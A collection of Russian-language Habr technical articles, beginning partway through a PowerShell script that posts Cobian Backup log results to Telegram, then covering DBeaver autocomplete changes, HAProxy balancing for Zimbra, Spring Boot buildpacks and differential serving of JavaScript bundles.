$text = get-content -Path ('c:\Program Files (x86)\Cobian Backup 11\Logs\log '+$date+'.txt') -Encoding UTF8 #Указываем путь, где находятся логи cobian backup
$token = 'token' #Указываем токен, который выдается при регистрации бота
[string]$text=$text[$text.count-2] #выдергиваем предпоследнюю строку
#ну и собственно само отправление
$payload = @{
"chat_id" = $chat_id;
"text" = "$text";
"parse_mode" = 'HTML';
}
Invoke-WebRequest `
-Uri ("https://api.telegram.org/bot{0}/sendMessage" -f $token) `
-Method Post `
-ContentType "application/json;charset=utf-8" `
-Body (ConvertTo-Json -Compress -InputObject $payload)
```
### Настройка Cobian Backup
Для тех, кто использует Cobian Backup в качестве утилиты для резервного копирования думаю не стоит описывать то, как создаются задания. Для тех, кто только собирается — думаю после установки Вам даже не понадобится что — то искать в интернете — все очень просто и доступно. Правда есть одно НО — Cobian Backup не умеет выполнять скрипты PowerShell. Ну не беда — зато знает что такое BAT. Для запуска используем следующий BATник
```
TIMEOUT /T 5 /NOBREAK
%SystemRoot%\System32\WindowsPowerShell\v1.0\PowerShell.exe -ExecutionPolicy ByPass -command "C:\ToTelegram.ps1"
```
ToTelegram.ps1 — это скрипт, который мы ранее создали в PowerShell. После создание bat файла можно уже и добавить его выполнение в задание. В параметрах задания выпираем пункт меню "Доп.действия" и добавляем в завершающие действия наш BAT файл.
Вот в принципе и все, как видите ничего сложного. Надеюсь для кого-то это будет полезным.
P.S. Мои потребности этот скриптик удовлетворяет, но я буду очень рад, если кто-то внесет свои предложения и замечания. | https://habr.com/ru/post/331870/ | null | ru | null |
# Как перестать делать одно и то же
Вы любите из раза в раз повторять рутинные операции? Вот и я нет. Но каждый раз в SQL-клиенте при работе с хранилищем Ростелекома приходилось прописывать все джойны между таблицами ручками. И это притом, что в 90% случаев поля и условия соединения таблиц совпадали от запроса к запросу! Казалось бы, любой SQL-клиент имеет функции автозаполнения, но для хранилищ оно не всегда работает: в них редко заводятся unique constraint и foreign key в целях повышения производительности, а без этого программе не узнать, как между собой связаны сущности и что она может тебе предложить.
[![](https://habrastorage.org/r/w780q1/webt/ys/wr/0t/yswr0tn6siriyfofwm0t2yemux8.jpeg)](https://habr.com/ru/company/rostelecom/blog/462021/)
Пройдя через отрицание, гнев, торг, депрессию и приближаясь к принятию, я решил — а почему бы самому не попробовать реализовать автозаполнение с блекджеком и как положено? Я пользуюсь клиентом dbeaver, написанным на java, у него есть комьюнити версия с открытым исходным кодом. Созрел нехитрый план:
1. Найти в исходном коде классы, отвечающие за автозаполнение
2. Переориентировать их на работу с внешними метаданными и подтягивать оттуда информацию о джойнах
3. ??????
4. PROFIT
С первым пунктом достаточно быстро разобрался — нашел в багтрекере запрос на корректировку автозаполнения и в связанном [коммите](https://github.com/dbeaver/dbeaver/commit/4f7652c1d11f21d29cf734155b133e9a426c727f) обнаружил класс SQLCompletionAnalyzer. Посмотрел код — то, что надо. Осталось переписать его так, чтобы все работало. Дождался свободного вечера и начал продумывать реализацию. Правила связей таблиц (метаданные) решил вести в json. У меня не было практического опыта работы с этим форматом и текущая задача виделась возможностью это упущение исправить.
Для работы с json решил использовать библиотеку [json-simple](https://github.com/fangyidong/json-simple) от гугла. Тут начались сюрпризы. Как выяснилось, dbeaver, как труъ-приложение, написан на платформе эклипса с использованием OSGi-фреймворка. Для опытных разработчиков эта штука дает удобство управления зависимостями, для меня же больше была похожа на темную магию, к которой я был явно не готов: как обычно прописываю импорт нужных мне классов из библиотеки json-simple в шапке редактируемого класса, указываю ее в pom.xml, после чего проект категорически отказывается нормально собираться и валится с ошибками.
Исправить ошибки сборки в итоге получилось: прописал библиотеку не в pom.xml, а в манифесте manifest.mf, как того требует OSGI, при этом указав ее как import-package. Не самое красивое решение, но зато работает. Тут появился следующий сюрприз. Если ты ведешь разработку в intellij idea, нельзя просто так взять и запустить дебаг своего проекта, основанного на платформе eclipse: неопытный разработчик должен страдать не меньше, чем аналитик без автодополнения запросов. На помощь пришли сами разработчики бобра, указавшие в wiki все танцы с бубном, которые надо проделать. Самое обидное, что даже после всех этих приседаний проект не хотел запускаться в дебаге с подключенной через import-package библиотекой json (притом, что в готовый продукт он по-прежнему успешно собирался).
К тому моменту я успел прочувствовать неудобство использования json для моей задачи — все-таки метаданные предполагалось редактировать вручную, и для этого формат xml лучше подходит. Вторым аргументом в пользу xml было наличие в JDK всех необходимых классов, что дало возможность прекратить борьбу с внешней библиотекой. С большим удовольствием перенес все метаданные из json в xml и приступил к правкам логики автозаполнения.
**Пример метаданных**
```
xml version="1.0" encoding="UTF-8" standalone="yes"?
dim\_account
dim\_partner
dim\_account
dim\_branch
```
В результате я [внес изменения](https://github.com/v9854268996/dbeaver) в классы SQLUtils и SQLCompletionAnalyzer. Идея такая: если проге не удалось подобрать подходящие предложения автозаполнения по базовой логике, то она проверяет наличие возможных джойнов по внешнему файлу xml. В самом файле хранятся пары таблиц с указанием полей, по которым эти таблицы нужно связывать. Ограничения на технические даты действия записей eff\_dttm и exp\_dttm и флаг логического удаления deleted\_ind при этом проставляются по умолчанию.
Когда правки в код были внесены, появился вопрос — кто будет наполнять файл с метаданными? Сущностей в хранилище много, самому все связи прописывать накладно. В итоге решил повесить эту задачу на своих коллег-аналитиков. Файл метаданных выложил в svn, откуда делается чекаут в локальную директорию с программой. Принцип такой: в хранилище появилась новая сущность? Один аналитик вносит возможные джойны в файл, коммитит изменения, остальные делают чекаут к себе и наслаждаются работающим автозаполнением: комьюнити, накопление знаний и все такое. Провел для коллег воркшоп по использованию проги, написал статью в конфлюенс — теперь в компании одним удобным инструментом больше.
Работа над этой фичей дала мне понимание, что не стоит бояться ковырять опенсорсные проекты — как правило, у них понятная архитектура, и даже базовых знаний языка будет достаточно для экспериментов. А при определенной доле упорства даже получится избавиться от ненавистных рутинных операций, сэкономив себе время на новые эксперименты. | https://habr.com/ru/post/462021/ | null | ru | null |
# Балансировка нагрузки в Zimbra Open-Source Edition при помощи HAProxy
Одной из главных задач при построении масштабных инфраструктур Zimbra OSE является грамотная балансировка нагрузки. Помимо того, что она повышает отказоустойчивость сервиса, без балансировки нагрузки невозможно обеспечить одинаковую отзывчивость сервиса для всех пользователей. Для того, чтобы решить эту задачу, используются балансировщики нагрузки — программные и аппаратные решения, перераспределяющие запросы между серверами. Среди них есть как довольно примитивные, вроде RoundRobin, который просто каждый следующий запрос направляет следующему в списке серверу, а есть и более продвинутые, например HAProxy, который широко применяется в высоконагруженных вычислительных инфраструктурах из-за ряда весомых достоинств. Давайте же посмотрим на то, как можно обеспечить совместную работу балансировщика нагрузки HAProxy и Zimbra OSE.
![image](https://habrastorage.org/r/w1560/webt/op/xi/ie/opxiieyaijocgswpkt2td6f4-u0.png)
Итак, по условиям задачи нам дана инфраструктура Zimbra OSE, в которой имеются два Zimbra Proxy, два сервера LDAP и LDAP Replica, четыре почтовых хранилища с 1000 почтовых ящиков на каждом и три MTA. Учитывая то, что мы имеем дело с почтовым сервером, на него будет поступать три вида трафика, нуждающегося в балансировке: HTTP для загрузки веб-клиента, а также POP и SMTP для пересылки электронной почты. При этом HTTP-трафик будет уходить на серверы Zimbra Proxy с ip-адресами 192.168.0.57 и 192.168.0.58, а трафик SMTP будет уходить на MTA-серверы с ip-адресами 192.168.0.77 и 192.168.0.78.
Как уже говорилось, для обеспечения равномерного распределения запросов между серверами мы будем использовать балансировщик нагрузки HAProxy, который будет работать на входном узле инфраструктуры Zimbra под управлением Ubuntu 18.04. Установка haproxy в этой операционной системе осуществляется при помощи команды **sudo apt-get install haproxy**. После этого необходимо в файле **/etc/default/haproxy** изменить параметр **ENABLED=0** на **ENABLED=1**. Теперь, для того, чтобы убедиться в том, что haproxy работает, достаточно ввести команду **service haproxy**. В том случае, если эта служба работает, это будет понятно по выводу команды.
Одним из главных недочетов HAProxy является то, что он по умолчанию не передает IP-адрес подключаемого клиента, подменяя его своим собственным. Это может привести к ситуациям, когда присылаемые злоумышленниками письма нельзя будет идентифицировать по IP-адресу, чтобы добавить его в черный список. Впрочем, этот вопрос можно решить. Для этого необходимо отредактировать файл **/opt/zimbra/common/conf/master.cf.in** на серверах с Postfix и добавить в него следующие строки:
```
26 inet n - n - 1 postscreen
-o postscreen_upstream_proxy_protocol=haproxy
466 inet n - n - - smtpd
%%uncomment SERVICE:opendkim%% -o content_filter=scan:[%%zimbraLocalBindAddress%%]:10030
-o smtpd_tls_wrappermode=yes
-o smtpd_sasl_auth_enable=yes
-o smtpd_client_restrictions=
-o smtpd_data_restrictions=
-o smtpd_helo_restrictions=
-o smtpd_recipient_restrictions=
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
-o syslog_name=postfix/smtps
-o milter_macro_daemon_name=ORIGINATING
-o smtpd_upstream_proxy_protocol=haproxy
%%uncomment LOCAL:postjournal_enabled%% -o smtpd_proxy_filter=[%%zimbraLocalBindAddress%%]:10027
%%uncomment LOCAL:postjournal_enabled%% -o smtpd_proxy_options=speed_adjust
588 inet n - n - - smtpd
%%uncomment SERVICE:opendkim%% -o content_filter=scan:[%%zimbraLocalBindAddress%%]:10030
-o smtpd_etrn_restrictions=reject
-o smtpd_sasl_auth_enable=%%zimbraMtaSaslAuthEnable%%
-o smtpd_tls_security_level=%%zimbraMtaTlsSecurityLevel%%
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
-o smtpd_data_restrictions=
-o smtpd_helo_restrictions=
-o smtpd_recipient_restrictions=
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
-o syslog_name=postfix/submission
-o milter_macro_daemon_name=ORIGINATING
-o smtpd_upstream_proxy_protocol=haproxy
%%uncomment LOCAL:postjournal_enabled%% -o smtpd_proxy_filter=[%%zimbraLocalBindAddress%%]:10027
%%uncomment LOCAL:postjournal_enabled%% -o smtpd_proxy_options=speed_adjust
```
За счет этого мы откроем порты 26, 466 и 588, которые будут принимать входящий трафик из HAProxy. После того как файлы будут сохранены, следует перезапустить Postfix на всех серверах с помощью команды zmmtactl restart.
После этого приступим к настройке HAProxy. Для этого сперва создадим резервную копию файла с настройками **cp /etc/haproxy/haproxy.cfg /etc/haproxy/haproxy.cfg.bak**. Затем откроем в текстовом редакторе исходный файл **/etc/haproxy/haproxy.cfg** и начнем поэтапно добавлять в него необходимые настройки. Первым блоком станет добавление сервера, снимающего логи, установка максимально разрешенного числа одновременных подключений, а также указание имени и группы пользователя, к которому будет относиться исполняемый процесс.
```
global
user daemon
group daemon
daemon
log 127.0.0.1 daemon
maxconn 5000
chroot /var/lib/haproxy
```
Цифра в 5000 одновременных подключений появилась неспроста. Поскольку в нашей инфраструктуре 4000 почтовых ящиков, необходимо предусмотреть вероятность того, что все они одновременно зайдут в свою рабочую почту. Кроме того, необходимо оставить небольшой запас на тот случай, если их число увеличится.
Теперь добавим блок с настройками по умолчанию:
```
defaults
timeout client 1m
log global
mode tcp
timeout server 1m
timeout connect 5s
```
В этом блоке задается максимальное время ожидания клиента и сервера, чтобы разрывать соединение при его истечении, а также задается режим работы HAProxy. В нашем случае балансировщик нагрузки работает в режиме TCP, то есть просто передает пакеты TCP не анализируя их содержимое.
Далее мы добавим правила для соединений на различных портах. Например, если порт 25 используется для SMTP-подключений и передачи почты, то имеет смысл перенаправлять подключения к нему на MTA, имеющиеся в нашей инфраструктуре. Если же соединение идет на порту 80, то это http-запрос, который необходимо переправить на Zimbra Proxy.
**Правило для порта 25:**
```
frontend smtp-25
bind *:27
default_backend backend-smtp-25
backend backend-smtp-25
server mta1 192.168.0.77:26 send-proxy
server mta2 192.168.0.78:26 send-proxy
```
**Правило для порта 465:**
```
frontend smtp-465
bind *:467
default_backend backend-smtp-465
backend backend-smtp-465
server mta1 192.168.0.77:466 send-proxy
server mta2 192.168.0.78:466 send-proxy
```
**Правило для порта 587:**
```
frontend smtp-587
bind *:589
default_backend backend-smtp-587
backend backend-smtp-587
server mail1 192.168.0.77:588 send-proxy
server mail2 192.168.0.78:588 send-proxy
```
**Правило для порта 80:**
```
frontend http-80
bind *:80
default_backend http-80
backend http-80
mode tcp
server zproxy1 192.168.0.57:80 check
server zproxy2 192.168.0.58:80 check
```
**Правило для порта 443:**
```
frontend https
bind *:443
default_backend https-443
backend https-443
mode tcp
server zproxy1 192.168.0.57:80 check
server zproxy2 192.168.0.58:80 check
```
Обратите внимание, что что в правилах для пересылки TCP-пакетов к MTA рядом с их адресами стоит параметр **send-proxy**. Это нужно для того, чтобы, в соответствии с внесенными нами ранее изменений в настройки Postfix, вместе с TCP-пакетами пересылался и оригинальный IP-адрес его отправителя.
Теперь, когда все необходимые изменения в HAProxy внесены, можно перезапустить сервис при помощи команды **service haproxy restart** и приступать к его использованию.
По всем вопросам, связанными c Zextras Suite вы можете обратиться к Представителю компании «Zextras» Екатерине Триандафилиди по электронной почте ekaterina.triandafilidi@zextras.com | https://habr.com/ru/post/479536/ | null | ru | null |
# Поддержка Buildpacks в Spring Boot 2.3.0
Пару дней назад вышел релиз Spring Boot 2.3.0.M1, в описании которого первой строкой упоминается поддержка проекта Cloud Native Buildpacks, являющегося попыткой упростить жизнь разработчика, позволяя максимально автоматизировать сборку образов из исходных кодов. Так как на моем текущем проекте нашим микросервисам предстоит жить в контейнерах, решил попробовать его и разобраться в чем преимущества. Короткое продолжение под катом.
Cloud Native Buildpacks (CNB) позволяет разработчику не писать и не поддерживать свой собственный Dockerfile. Запуская единственную команду сборки проекта CNB сама определит какие зависимости собрать в образ. Выглядит все так:
![image](https://habrastorage.org/r/w1560/webt/0k/pd/qs/0kpdqsnxe3s6puj0q3fil6u2rfk.png)
Кроме того, за счет различных технологий: поддержки OCI, модульной структуры, кэширования слоев зависимостей — система CNB может широко применяться и по заверениям разработчиков довольно быстрая.
Проверим, что он представляет из себя на деле. Скачиваем сайта start.spring.io пустой проект. Добавим в него щепотку зависимостей, чтобы посмотреть работает ли вообще наш контейнер.
Нам этом подготовка заканчивается — наше приложение готово для помещения в контейнер. Для этого выполняем в **gradle «./gradlew bootBuildImage»** или же для **maven «./mvnw spring-boot:build-image»** и сборка начинается. После сборки получаем удобный лог с описанием всего процесса.
**Изначально плагин достает нужные базовые артефакты:**
```
> Task :bootBuildImage
Building image 'docker.io/library/cnb:0.0.1-SNAPSHOT'
> Pulling builder image 'docker.io/cloudfoundry/cnb:0.0.43-bionic' ..................................................
> Pulled builder image 'cloudfoundry/cnb@sha256:c983fb9602a7fb95b07d35ef432c04ad61ae8458263e7fb4ce62ca10de367c3b'
> Pulling run image 'docker.io/cloudfoundry/run:base-cnb' ..................................................
> Pulled run image 'cloudfoundry/run@sha256:ba9998ae4bb32ab43a7966c537aa1be153092ab0c7536eeef63bcd6336cbd0db'
> Executing lifecycle version v0.5.0
> Using build cache volume 'pack-cache-7cfae5296b92.build'
```
**Запускаются детекторы, которые сканируют проект и определяют какие зависимости собирать дополнительно:**
```
> Running detector
[detector] 6 of 13 buildpacks participating
[detector] org.cloudfoundry.openjdk v1.0.80
[detector] org.cloudfoundry.jvmapplication v1.0.113
[detector] org.cloudfoundry.tomcat v1.1.74
[detector] org.cloudfoundry.springboot v1.0.157
[detector] org.cloudfoundry.distzip v1.0.144
[detector] org.cloudfoundry.springautoreconfiguration v1.0.159
```
**Скачиваются зависимости и запускается сборка:**
```
> Running builder
[builder]
[builder] Cloud Foundry OpenJDK Buildpack v1.0.80
[builder] OpenJDK JRE 11.0.5: Contributing to layer
[builder] Downloading from https://github.com/AdoptOpenJDK/openjdk11-binaries/releases/download/jdk-11.0.5%2B10/OpenJDK11U-jre_x64_linux_hotspot_11.0.5_10.tar.gz
[builder] Verifying checksum
[builder] Expanding to /layers/org.cloudfoundry.openjdk/openjdk-jre
[builder] Writing JAVA_HOME to shared
...
[builder] Cloud Foundry Spring Boot Buildpack v1.0.157
[builder] Spring Boot 2.3.0.M1: Contributing to layer
[builder] Writing CLASSPATH to shared
[builder] Process types:
[builder] spring-boot: java -cp $CLASSPATH $JAVA_OPTS dev.ivanov.cnb.CnbApplication
[builder] task: java -cp $CLASSPATH $JAVA_OPTS dev.ivanov.cnb.CnbApplication
[builder] web: java -cp $CLASSPATH $JAVA_OPTS dev.ivanov.cnb.CnbApplication
```
**Собирается образ:**
```
> Running exporter
[exporter] Adding layer 'app'
[exporter] Adding layer 'config'
[exporter] Adding layer 'launcher'
[exporter] Adding layer 'org.cloudfoundry.openjdk:openjdk-jre'
[exporter] Adding layer 'org.cloudfoundry.jvmapplication:executable-jar'
[exporter] Adding layer 'org.cloudfoundry.springboot:spring-boot'
[exporter] Adding layer 'org.cloudfoundry.springautoreconfiguration:auto-reconfiguration'
[exporter] *** Images (2757ab54378d):
[exporter] docker.io/library/cnb:0.0.1-SNAPSHOT
```
**Кэшируются зависимости:**
```
> Running cacher
[cacher] Caching layer 'org.cloudfoundry.openjdk:2f08c469c9a8adea1b6ee3444ba2a8242a7e99d87976a077faf037a9eb7f884b'
[cacher] Caching layer 'org.cloudfoundry.jvmapplication:executable-jar'
[cacher] Caching layer 'org.cloudfoundry.springboot:spring-boot'
[cacher] Caching layer 'org.cloudfoundry.springautoreconfiguration:46ab131165317d91fd4ad3186abf755222744e2d277dc413def06f3ad45ab150'
```
**Successfully built image 'docker.io/library/cnb:0.0.1-SNAPSHOT'
BUILD SUCCESSFUL in 25s**
Образ уже виден в докере и его можно посмотреть командой docker images и запустить docker run docker run -d -p 8080:8080 imageid
Добавим новые зависимости в наше приложение и выполним сборку еще раз.
**Система проходится по закэшированным слоям:**
```
> Running restorer
[restorer] Restoring cached layer 'org.cloudfoundry.openjdk:2f08c469c9a8adea1b6ee3444ba2a8242a7e99d87976a077faf037a9eb7f884b'
[restorer] Restoring cached layer 'org.cloudfoundry.jvmapplication:executable-jar'
[restorer] Restoring cached layer 'org.cloudfoundry.springboot:spring-boot'
[restorer] Restoring cached layer 'org.cloudfoundry.springautoreconfiguration:46ab131165317d91fd4ad3186abf755222744e2d277dc413def06f3ad45ab150'
> Running analyzer
[analyzer] Using cached layer 'org.cloudfoundry.openjdk:2f08c469c9a8adea1b6ee3444ba2a8242a7e99d87976a077faf037a9eb7f884b'
[analyzer] Writing metadata for uncached layer 'org.cloudfoundry.openjdk:openjdk-jre'
[analyzer] Using cached launch layer 'org.cloudfoundry.jvmapplication:executable-jar'
[analyzer] Rewriting metadata for layer 'org.cloudfoundry.jvmapplication:executable-jar'
[analyzer] Using cached launch layer 'org.cloudfoundry.springboot:spring-boot'
[analyzer] Rewriting metadata for layer 'org.cloudfoundry.springboot:spring-boot'
[analyzer] Using cached layer 'org.cloudfoundry.springautoreconfiguration:46ab131165317d91fd4ad3186abf755222744e2d277dc413def06f3ad45ab150'
[analyzer] Writing metadata for uncached layer 'org.cloudfoundry.springautoreconfiguration:auto-reconfiguration'
```
**Запускается сборка проекта аналогично прошлому шагу:**
```
> Running builder
[builder]
[builder] Cloud Foundry OpenJDK Buildpack v1.0.80
[builder] OpenJDK JRE 11.0.5: Reusing cached layer
[builder]
[builder] Cloud Foundry JVM Application Buildpack v1.0.113
[builder] Executable JAR: Reusing cached layer
[builder] Process types:
[builder] executable-jar: java -cp $CLASSPATH $JAVA_OPTS org.springframework.boot.loader.JarLauncher
[builder] task: java -cp $CLASSPATH $JAVA_OPTS org.springframework.boot.loader.JarLauncher
[builder] web: java -cp $CLASSPATH $JAVA_OPTS org.springframework.boot.loader.JarLauncher
[builder]
[builder] Cloud Foundry Spring Boot Buildpack v1.0.157
[builder] Spring Boot 2.3.0.M1: Contributing to layer
[builder] Writing CLASSPATH to shared
[builder] Process types:
[builder] spring-boot: java -cp $CLASSPATH $JAVA_OPTS dev.ivanov.cnb.CnbApplication
[builder] task: java -cp $CLASSPATH $JAVA_OPTS dev.ivanov.cnb.CnbApplication
[builder] web: java -cp $CLASSPATH $JAVA_OPTS dev.ivanov.cnb.CnbApplication
[builder]
[builder] Cloud Foundry Spring Auto-reconfiguration Buildpack v1.0.159
[builder] Spring Auto-reconfiguration 2.11.0: Reusing cached layer
> Running exporter
[exporter] Adding layer 'app'
[exporter] Adding layer 'config'
[exporter] Reusing layer 'launcher'
[exporter] Reusing layer 'org.cloudfoundry.openjdk:openjdk-jre'
[exporter] Reusing layer 'org.cloudfoundry.jvmapplication:executable-jar'
[exporter] Adding layer 'org.cloudfoundry.springboot:spring-boot'
[exporter] Reusing layer 'org.cloudfoundry.springautoreconfiguration:auto-reconfiguration'
[exporter] *** Images (7a83fadad1ce):
[exporter] docker.io/library/cnb:0.0.1-SNAPSHOT
> Running cacher
[cacher] Reusing layer 'org.cloudfoundry.openjdk:2f08c469c9a8adea1b6ee3444ba2a8242a7e99d87976a077faf037a9eb7f884b'
[cacher] Reusing layer 'org.cloudfoundry.jvmapplication:executable-jar'
[cacher] Caching layer 'org.cloudfoundry.springboot:spring-boot'
[cacher] Reusing layer 'org.cloudfoundry.springautoreconfiguration:46ab131165317d91fd4ad3186abf755222744e2d277dc413def06f3ad45ab150'
```
**Successfully built image 'docker.io/library/cnb:0.0.1-SNAPSHOT'
BUILD SUCCESSFUL in 20s**
Сборка собралась быстрее чем предыдущая, несмотря на появление дополнительных зависимостей в проекте — все благодаря повторному использованию слоев контейнера.
Для того чтобы подробнее изучить получившийся образ нужно скачать [отсюда](https://buildpacks.io/docs/install-pack/) утилиту **pack** и с помощью команды **inspect-image** заглянуть внутрь любого образа:
```
"name": "openjdk-jre",
"version": "11.0.5",
"metadata": {
"licenses": [
{
"type": "GPL-2.0 WITH Classpath-exception-2.0",
"uri": "https://openjdk.java.net/legal/gplv2+ce.html"
}
],
"name": "OpenJDK JRE",
"sha256": "2f08c469c9a8adea1b6ee3444ba2a8242a7e99d87976a077faf037a9eb7f884b",
"stacks": [
"io.buildpacks.stacks.bionic",
"org.cloudfoundry.stacks.cflinuxfs3"
],
"uri": "https://github.com/AdoptOpenJDK/openjdk11-binaries/releases/download/jdk-11.0.5%!B(MISSING)10/OpenJDK11U-jre_x64_linux_hotspot_11.0.5_10.tar.gz"
},
"buildpack": {
"id": "org.cloudfoundry.openjdk",
"version": "v1.0.80"
}
},
{
"name": "executable-jar",
"version": "",
"metadata": {
"classpath": [
"/workspace"
],
"main-class": "org.springframework.boot.loader.JarLauncher"
},
"buildpack": {
"id": "org.cloudfoundry.jvmapplication",
"version": "v1.0.113"
}
```
В данных метаданных указано что содержится в образе, что находится в каждом слое, и как оно было создано. Это однозначный плюс для безопасности, так как структура каждого образа известна и исключается попадание на прод «левых» библиотек.
Таким образом, Cloud Native Buildpacks предоставляет довольно интересный функционал для разработчиков микросервисов, в первую очередь, на Spring Boot, так как разработкой занимается Pivotal, а значит с поддержкой все будет ок. Но так же стоить упомянуть, что CNB совместима с другими фреймворками и языками. | https://habr.com/ru/post/485486/ | null | ru | null |
# Differential Serving — делаем свой код чище и производительнее
![](https://habrastorage.org/r/w780q1/webt/ce/tn/ty/cetntytajsa5tru2vw0mxqlejpe.jpeg)
Всем привет!
Некоторое время назад думали с командой, как оптимизировать наш бандл. Но когда ты поддерживаешь IE или старые браузеры, оптимизация может стать непосильной задачей, так как бандл преобразуется до es3-5, polyfill-ы и т.д.
Бандл весит много, грузится долго. Но почему пользователь, например, последней версии хрома, должен мучиться с долгой загрузкой приложения?
Differential Serving поможет заметно облегчить бандл — это довольно интересный метод оптимизации. Толкового материала по теме нашла маловато, в основном на английских форумах, поэтому решила поделиться своим небольшим исследованием.
Differential Serving на русский примерно переводится как «условная загрузка ресурсов», но мне кажется, английское название более благозвучное и понятное, поэтому дальше буду использовать его.
**Краткое содержание**
* [Модуль old-school](#old-school)
+ [Зачем скобки вокруг функции?](#why)
+ [Точка с запятой в начале](#point)
* [Модуль в es6](#es6)
* [Совместимость, «nomodule»](#nomodule)
* [Differential Serving](#diff)
+ [Как это работает?](#how)
+ [Хак](#huck)
+ [Альтернативный подход](#alternative)
* [Differential serving vs. polyfill service](#vs)
* [Итог](#final)
**Видео**
Если неохота читать, то можете посмотреть видео моего доклада на HolyJS
Прежде чем начать разговор про Differential Serving и понять принцип его работы, для полного погружения нужно узнать, что такое «модуль» в js. Или вы можете [отправиться дальше](#nomodule).
Модуль old-school
-----------------
Давайте перемотаем на 7-8 лет назад…
И вспомним, какие раньше были конструкции. Если вы смотрели исходный код библиотек или сами их когда-то писали, то вам будет знаком такой код.
```
; (function() {}())
```
Эта конструкция называется «модулем» или самовызывающейся функцией. В качестве примера можете посмотреть библиотеку [Lodash](https://cdn.jsdelivr.net/lodash/4.10.0/lodash.js).
Напомню, что данный метод сделали для создания собственной области видимости, и чтобы код выполнился только один раз при запуске.
**Узнать подробнее о методе**
### Зачем скобки вокруг функции?
В начале и в конце стоят скобки, так как иначе была бы ошибка. Она произойдет потому, что браузер, видя ключевое слово *function* в основном потоке кода, попытается прочитать *Function Declaration*, но вызывать «на месте» разрешено только *Function Expression*.
Но если function идет в составе более сложного выражения, то браузер считает, что это Function Expression, для этого и нужны скобки.
### Точка с запятой в начале
В начале кода находится точка с запятой — это не опечатка, а «защита от дураков». Если получится, что несколько JS-файлов объединены в один (возможно сжаты), и программист забыл поставить точку с запятой перед файлом с библиотекой, то будет ошибка. Так как последняя строка кода «склеится» с модулем.
Модуль в es6
------------
Через несколько лет использования модуля, разработчики решили включить его в [стандарт es6](https://hacks.mozilla.org/2015/08/es6-in-depth-modules/) и добавить дополнительные возможности.
Теперь модули можно загружать друг в друга и использовать директивы **export** и **import**, чтобы обмениваться функциональностью, вызывать функции одного модуля из другого.
**export** отмечает переменные и функции, которые должны быть доступны вне текущего модуля.
**import** позволяет импортировать функциональность из других модулей.
```
// sayHi.js
export function sayHi(user) {
alert(`Hello, ${user}!`);
}
// main.js
import {sayHi} from './sayHi.js';
sayHi('John'); // Hello, John!
```
В объекте **import.meta** содержится информация о текущем модуле.
Вкратце выделю [основные возможности](https://learn.javascript.ru/modules-intro):
* каждый модуль имеет свою собственную область видимости;
* код в нем выполняется только один раз при импорте;
* в модуле всегда используется режим *use strict*;
* код в нем выполняется в отложенном (*deferred*) режиме;
* *this* не определен;
* *async* работает во встроенных скриптах.
Для использования модуля необходимо явно указать браузеру, что скрипт является модулем, при помощи атрибута *type='module'*.
Совместимость, «nomodule»
-------------------------
А вот это, на мой взгляд, самая занимательная особенность модулей.
Старые браузеры не понимают атрибут *type='module'*, а скрипты с неизвестным атрибутом type просто игнорируются.
![](https://habrastorage.org/r/w1560/webt/qj/bz/tz/qjbztzqrpnd5kraes-cotrmi3se.png)
*Рис.1. [Поддержка браузерами](https://caniuse.com/) атрибута type='module'.*
Но мы можем сделать для старых браузеров «резервный» скрипт при помощи атрибута *nomodule*.
```
```
Differential Serving
--------------------
И вот мы плавно подошли к теме Differential Serving. Его основная идея состоит в том, чтобы использовать атрибуты *module / nomodule*, для создания двух бандлов:
1. Бандл с преобразованием до es3-5, polyfills.
Для старых браузеров
2. Такой же бандл, но в es6
Для новых браузеров
Чтобы корректно подключить бандлы с тегом *script* и разными атрибутами, можно использовать плагины для webpack: [html-webpack-multi-build-plugin](https://www.npmjs.com/package/html-webpack-multi-build-plugin), [webpack-module-nomodule-plugin](https://www.npmjs.com/package/webpack-module-nomodule-plugin) и [т.д](https://github.com/johnstew/differential-serving).
### Как это работает?
С атрибутом *module / nomodule* мы даем браузеру возможность выбрать, какой бандл для своей работы взять.
И вроде все идет хорошо, пытаемся сделать пробный вариант:
![](https://habrastorage.org/r/w1560/webt/zx/4f/wa/zx4fwanlw67vvpcenerv5suu_1e.png)
*Рис.2. Пример для [Safari 10.1](https://johnstew.github.io/differential-serving/tests/index.html#Safari-10-1)*
В примере можно увидеть, что некоторые «старые» браузеры ведут себя некорректно и могут загрузить сразу два бандла. А если посмотреть тестовые примеры, то оказывается, что подобных ошибок в браузерах не так уж и мало.
![](https://habrastorage.org/r/w1560/webt/u6/aw/i8/u6awi8h1-wvjg-pv8qbusphmo8y.png)
Но если копнуть еще глубже, то вот [все виды ошибок](https://gist.github.com/jakub-g/5fc11af85a061ca29cc84892f1059fec) в браузерах:
1. загружает оба бандла и выполняет их;
2. загружает оба бандла;
3. загружает «устаревший» бандл и новый бандл — дважды.
Метод был таким многообещающим, но в итоге подкачал с реализацией.
Может есть способ как-то это поправить?
### Хак
Можно воспользоваться старым-добрым [хаком](https://gist.github.com/jakub-g/5fc11af85a061ca29cc84892f1059fec). Довольно топорный способ, прямо скажем «в лоб», но многие разработчики на английских форумах советуют именно его.
Для нас тут главное, чтобы бандл загружался и исполнялся только один раз.
```
const scriptEl = document.createElement('script');
if ('noModule' in scriptEl) {
scriptEl.src = 'js/main.js';
scriptEl.type = 'module';
} else {
scriptEl.src = 'js/legacy';
scriptEl.defer = true;
}
document.body.appendChild(scriptEl)
```
Проверить, что браузер поддерживает *nomodule*, можно определив, поддерживает ли он атрибут *type='module'*, так что в условии можно использовать любой атрибут.
### Альтернативный подход
Также есть и альтернативный подход — использовать пакет [browserslist-useragent](https://github.com/browserslist/browserslist-useragent).
Выглядеть файл будет примерно [так](https://github.com/johnstew/differential-serving/blob/master/examples/user-agent/index.js)
```
// .browserslistrc file
const express = require('express');
const { matchesUA } = require('browserslist-useragent');
const exphbs = require('express-handlebars');
…
app.use((req, res, next) => {
try {
const ESM_BROWSERS = [
'Edge >= 16',
'Firefox >= 60',
'Chrome >= 61',
'Safari >= 11',
'Opera >= 48',
];
const isModuleCompatible = matchesUA(
req.headers['user-agent'],
{browsers: ESM_BROWSERS, allowHigherVersions: true}
);
res.locals.isModuleCompatible = isModuleCompatible;
} catch (error) {
…
}
next();
}
```
Кажется, что в этом методе больше контроля, так как можно указать, какая версия браузера какой бандл будет использовать. Вместо списка браузеров можно указать [*supports es6-module*](https://github.com/browserslist/browserslist#full-list).
